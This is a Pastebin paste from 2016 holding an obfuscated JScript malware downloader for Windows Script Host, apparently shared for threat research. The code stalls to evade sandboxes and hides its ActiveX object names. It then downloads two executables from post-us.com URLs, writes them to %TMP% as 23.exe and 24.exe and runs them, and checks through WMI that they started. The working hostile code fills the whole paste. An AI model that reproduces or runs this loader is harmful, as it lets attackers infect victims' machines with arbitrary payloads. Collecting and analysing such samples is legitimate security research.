Advertisement
benkow_

Untitled

Oct 25th, 2016
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. function CDKBTxv() {var tZQu=99999+1;var AniOiB = 100;return Math.round(eDpMXMk()*(tZQu-AniOiB)+AniOiB);}
  2. function whcgfDuU(iHUjc) {var zPRNJPlM='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz';for(var pghYY=0;pghYY<iHUjc;pghYY++){zXVOh+=zPRNJPlM.charAt(Math.floor(Math.random()*zPRNJPlM.length));}return zXVOh;}
  3. function fymoCiOiVgVCwl(FbONqLlFbjxekB) {return new ActiveXObject(FbONqLlFbjxekB);}
  4.  
  5. var KkPrfua = new Date();
  6. while(true) {
  7. var VwDyQjP = new Date();
  8. var sVpKwAm = new Date(VwDyQjP.getTime() - KkPrfua.getTime());
  9. if(sVpKwAm.getSeconds() > 5) {
  10. break;
  11. }
  12. WScript.Sleep(500);
  13. }
  14. function VctRryJFAL(UWGHYvvF,uievgNtwHpzB) {uaWcSJr=0x0+1;TJqnufN=0x0;UWGHYvvF.Run(uievgNtwHpzB, uaWcSJr, TJqnufN);}
  15. /*mvQAiQjvnwbUbtDPulBzTegPuBdcxJFfbgwqCWOBaLscTEtNffDZjuhEeaRUmeSNIjVAPwmaGuCEFjceKtzTtdcNGTygVSYOjHodWpETfwGzkhGPhaogxgRqdfZLxaYiEyAaWCPfySEOIycTzaXNuDzmtKtJSBSWSIGrQiULLHvwbjtrKuzNltaCCJHbhwFeamFbEiSKRQ*/swhYtFwjECImR();
  16. var TXsuw = ["http://post-us.com/2/2.php"];
  17. var bPIDk = ["http://post-us.com/3/1.php"];
  18. sUzasxicPsv(TXsuw, '23.exe');
  19. sUzasxicPsv(bPIDk, '24.exe');
  20. function sUzasxicPsv(sooBsUz,vclIsUucm) {
  21. var mDpw=228-228;
  22. while(true) {
  23. if(sooBsUz.length<=536-536) break;
  24. var WAjB = CDKBTxv() % sooBsUz.length;
  25. var WUEMHZWsa=sooBsUz[WAjB];
  26. var qqlyD=CDKBTxv();
  27. var MNXbWmmCUm=vclIsUucm;
  28. var ChYTCRr=vclIsUucm;
  29. var DwfHWkCF=733-732;
  30. var excUKFvNO = function(){
  31. var euLDywTL = new ActiveXObject(tVYhT('WS&XKowapLhc&cript&XKowapLhc&.She&l&l',[0,2,4,5,6],'&'));
  32. return euLDywTL;
  33. }();
  34. var ChYTCRr = NuXELG(excUKFvNO) + String.fromCharCode(92) + ChYTCRr;
  35. var iGZCS = function(){
  36. return new ActiveXObject(tVYhT('MSX&eyIPlrFsH&ML2.XM&ITxpbjyJANk&LHTTP',[0,2,4],'&'));
  37. }();
  38. hngT(WUEMHZWsa,iGZCS);
  39. if (iGZCS.status == 201-1) {
  40. var RASnGQI = function() {
  41. return new ActiveXObject(tVYhT('ADO&DB&NLqcZNdPr&.&kNQohDYOk&Stream',[0,1,3,5],'&'));
  42. }();
  43. var KdRsJTsMFtMp=AkwNi(RASnGQI,iGZCS.ResponseBody,ChYTCRr);
  44. }
  45. try {
  46. VctRryJFAL(excUKFvNO,ChYTCRr);
  47. var NPSstLz = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \''+MNXbWmmCUm+'\'');
  48. if ( NPSstLz.Count >= 1 ){break;}
  49. } catch(e) {}
  50. mDpw++;
  51. sooBsUz.splice (WAjB,452-451);
  52. }
  53. }
  54. function NuXELG(bQtfdn){var hIqECXEQ=["ExpandEnvironmentStrings"];return bQtfdn[hIqECXEQ[0]]('%TMP%')}
  55. function AkwNi(REZTlpOY,RGqqG,jrmdcdEgRl){try{REZTlpOY.open();UgLiDIlH(REZTlpOY);OIYfyrb(REZTlpOY,RGqqG);oDttFWBKy(REZTlpOY);mYZF(REZTlpOY,jrmdcdEgRl);KoHaxAbh=REZTlpOY.size;qTKBSRf(REZTlpOY);return KoHaxAbh;}catch(e){}}
  56. function hngT(HAzToL,mvVSYiU){try{vOtc = 'G*rlNKfxBMJa*E*T*vzCaGOHdTYym'.split('*');mvVSYiU.open(vOtc[0]+vOtc[2]+vOtc[3], HAzToL, false);mvVSYiU.setRequestHeader("User-Agent", "Python-urllib/3.1");mvVSYiU.send();}catch(e){}}
  57. function HfzNQn(CoMnAsF,XrEhHAeD){return CoMnAsF.split(XrEhHAeD);}
  58. function tVYhT(WHSDTwZj,ePGWvM,sCkKpmpIa){xrMqG=HfzNQn(WHSDTwZj,sCkKpmpIa);dtgzRtj = 'lyI';for(LcfFloYJ=0;LcfFloYJ<ePGWvM.length;LcfFloYJ++) {dtgzRtj+=xrMqG[ePGWvM[LcfFloYJ]];}return dtgzRtj.substring(3,dtgzRtj.length);}
  59. function swhYtFwjECImR() {/*VthZueDKca().Sleep(3798-116);*/}
  60. function eDpMXMk(){var LovPKo=["random"];return Math[LovPKo[0]]()}
  61. function Drxz(FsWaRF) {FsWaRF.open();}
  62. function UgLiDIlH(HYQgtUykx) {HYQgtUykx.type=1;}
  63. function OIYfyrb(dpZy,BgDUl) {dpZy.write(BgDUl);}
  64. function VthZueDKca() {return/*xatndMqwelrFMrwtNvdRsojDmqnKHqpQoILZtjAQGmivoHFrbNsLfwrhmZbKGpvYZKXdDbFDcFSEJqIKizAaMXsfedIdyIuADfcBGlDLs*/WScript;}
  65. function oDttFWBKy(gwvKhJ) {var lGxtsfZfCz=[];gwvKhJ.position=lGxtsfZfCz.length*(2363020-229);}
  66. function mYZF(jCwQpYd,XAOGsrf) {jCwQpYd.saveToFile(XAOGsrf, 2);}
  67. function qTKBSRf(hzgAC) {hzgAC.close();}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement